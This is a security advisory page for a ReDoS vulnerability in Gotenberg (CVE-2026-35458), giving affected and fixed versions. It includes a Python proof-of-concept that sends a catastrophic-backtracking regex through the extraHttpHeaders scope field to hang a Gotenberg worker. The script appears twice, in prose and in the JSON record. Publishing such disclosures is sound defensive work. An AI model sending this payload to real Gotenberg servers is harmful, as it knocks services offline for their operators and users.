GHSA-FMWG-QCQH-M992

Vulnerability from github – Published: 2026-04-07 18:16 – Updated: 2026-04-07 18:16
VLAI?
Summary
Gotenberg Vulnerable to ReDoS via extraHttpHeaders scope feature
Details

Summary

Gotenberg uses dlclark/regexp2 to compile user-supplied scope patterns without setting a proper timeout. Users with access to features using this logic can hang workers indefinitely.

Details

Gotenberg uses dlclark/regexp2 to compile user-supplied scope patterns (gotenberg/pkg/modules/chromium/routes.go:200) with no MatchTimeout set, therefore using the default of math.MaxInt64 = "forever".

For example, any user with access to the endpoint /forms/chromium/screenshot/url can add a crafted scope pattern to the extraHttpHeaders form field using a nested quantifiers that causes infinite backtracking, hanging the Gotenberg worker indefinitely.

See the dlclark/regexp2 README.md for further considerations.

Tested on the latest container version gotenberg/gotenberg:8.29.1

PoC

The following Python script uses the /forms/chromium/screenshot/url endpoint, testing for differences in responses times between simple and malicious regexes.

#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.12"
# dependencies = [
#    "requests",
# ]
# ///
import json
import time
import requests

HOST = "localhost:3000"
# HOST = "gotenberg.local:3000"

def send_request(host: str, headers_dict: dict, label: str, timeout: int = 30):
    """Send a screenshot request to Gotenberg and measure response time."""
    url = f"http://{host}/forms/chromium/screenshot/url"
    print(f"\n[*] {label}")
    print(f"    extraHttpHeaders: {json.dumps(headers_dict)}")

    start = time.time()
    try:
        r = requests.post(
            url,
            data={
                "url": "http://api.service:3000/snapshot/",
                "extraHttpHeaders": json.dumps(headers_dict),
            },
            files={"a": "b"},
            timeout=timeout,
        )
        elapsed = time.time() - start
        print(f"    Status: {r.status_code}, Size: {len(r.content)}, Time: {elapsed:.2f}s")
    except requests.exceptions.Timeout:
        elapsed = time.time() - start
        print(f"    TIMEOUT after {elapsed:.2f}s — Gotenberg worker is hung (ReDoS confirmed)")
    except requests.exceptions.ConnectionError as e:
        elapsed = time.time() - start
        print(f"    CONNECTION ERROR after {elapsed:.2f}s: {e}")


def main():
    # --- Test 1: Baseline ---
    send_request(HOST, {"X-Test": "baseline"}, "Baseline: no scope")

    # --- Test 2: Simple scope ---
    send_request(HOST, {"X-Test": "value; scope=.*"}, "Simple scope: '.*'")

    # --- Test 3: ReDoS scope ---
    # Classic evil pattern: nested quantifiers on overlapping character class.
    evil_pattern = r"([a-zA-Z0-9.:/_]+)+\!"
    send_request(
        HOST,
        {"X-Test": f"value; scope={evil_pattern}"},
        f"ReDoS scope: '{evil_pattern}'",
        timeout=15,
    )


if __name__ == "__main__":
    main()

Impact

This is a ReDoS vulnerability which only impacts the availability of the service and/or server on which gotenberg is running. All instances where attackers can reach the /forms/chromium/screenshot/url endpoint specifing the extraHttpHeaders field are affected.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.29.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35458"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T18:16:19Z",
    "nvd_published_at": "2026-04-07T15:17:43Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nGotenberg uses `dlclark/regexp2` to compile user-supplied scope patterns without setting a proper timeout. Users with access to features using this logic can hang workers indefinitely. \n\n### Details\nGotenberg uses `dlclark/regexp2` to compile user-supplied scope patterns (gotenberg/pkg/modules/chromium/routes.go:200) with no MatchTimeout set, therefore using the default of math.MaxInt64 = \"forever\".\n\nFor example, any user with access to the endpoint `/forms/chromium/screenshot/url` can add a crafted scope pattern to the `extraHttpHeaders` form field using a nested quantifiers that causes infinite backtracking, hanging the Gotenberg worker indefinitely.\n\nSee the [dlclark/regexp2 README.md](https://github.com/dlclark/regexp2?tab=readme-ov-file#catastrophic-backtracking-and-timeouts) for further considerations.\n\nTested on the latest container version gotenberg/gotenberg:8.29.1\n\n### PoC\n\nThe following Python script uses the `/forms/chromium/screenshot/url` endpoint, testing for differences in responses times between simple and malicious regexes.\n\n```python\n#!/usr/bin/env -S uv run --script\n# /// script\n# requires-python = \"\u003e=3.12\"\n# dependencies = [\n#    \"requests\",\n# ]\n# ///\nimport json\nimport time\nimport requests\n\nHOST = \"localhost:3000\"\n# HOST = \"gotenberg.local:3000\"\n\ndef send_request(host: str, headers_dict: dict, label: str, timeout: int = 30):\n    \"\"\"Send a screenshot request to Gotenberg and measure response time.\"\"\"\n    url = f\"http://{host}/forms/chromium/screenshot/url\"\n    print(f\"\\n[*] {label}\")\n    print(f\"    extraHttpHeaders: {json.dumps(headers_dict)}\")\n\n    start = time.time()\n    try:\n        r = requests.post(\n            url,\n            data={\n                \"url\": \"http://api.service:3000/snapshot/\",\n                \"extraHttpHeaders\": json.dumps(headers_dict),\n            },\n            files={\"a\": \"b\"},\n            timeout=timeout,\n        )\n        elapsed = time.time() - start\n        print(f\"    Status: {r.status_code}, Size: {len(r.content)}, Time: {elapsed:.2f}s\")\n    except requests.exceptions.Timeout:\n        elapsed = time.time() - start\n        print(f\"    TIMEOUT after {elapsed:.2f}s \u2014 Gotenberg worker is hung (ReDoS confirmed)\")\n    except requests.exceptions.ConnectionError as e:\n        elapsed = time.time() - start\n        print(f\"    CONNECTION ERROR after {elapsed:.2f}s: {e}\")\n\n\ndef main():\n    # --- Test 1: Baseline ---\n    send_request(HOST, {\"X-Test\": \"baseline\"}, \"Baseline: no scope\")\n\n    # --- Test 2: Simple scope ---\n    send_request(HOST, {\"X-Test\": \"value; scope=.*\"}, \"Simple scope: \u0027.*\u0027\")\n\n    # --- Test 3: ReDoS scope ---\n    # Classic evil pattern: nested quantifiers on overlapping character class.\n    evil_pattern = r\"([a-zA-Z0-9.:/_]+)+\\!\"\n    send_request(\n        HOST,\n        {\"X-Test\": f\"value; scope={evil_pattern}\"},\n        f\"ReDoS scope: \u0027{evil_pattern}\u0027\",\n        timeout=15,\n    )\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\n\nThis is a ReDoS vulnerability which only impacts the availability of the service and/or server on which gotenberg is running. All instances where attackers can reach the `/forms/chromium/screenshot/url` endpoint specifing the `extraHttpHeaders` field are affected.",
  "id": "GHSA-fmwg-qcqh-m992",
  "modified": "2026-04-07T18:16:19Z",
  "published": "2026-04-07T18:16:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-fmwg-qcqh-m992"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35458"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/commit/cfb48d9af48cb236244eabe5c67fe1d30fb3fe25"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gotenberg Vulnerable to ReDoS via extraHttpHeaders scope feature"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…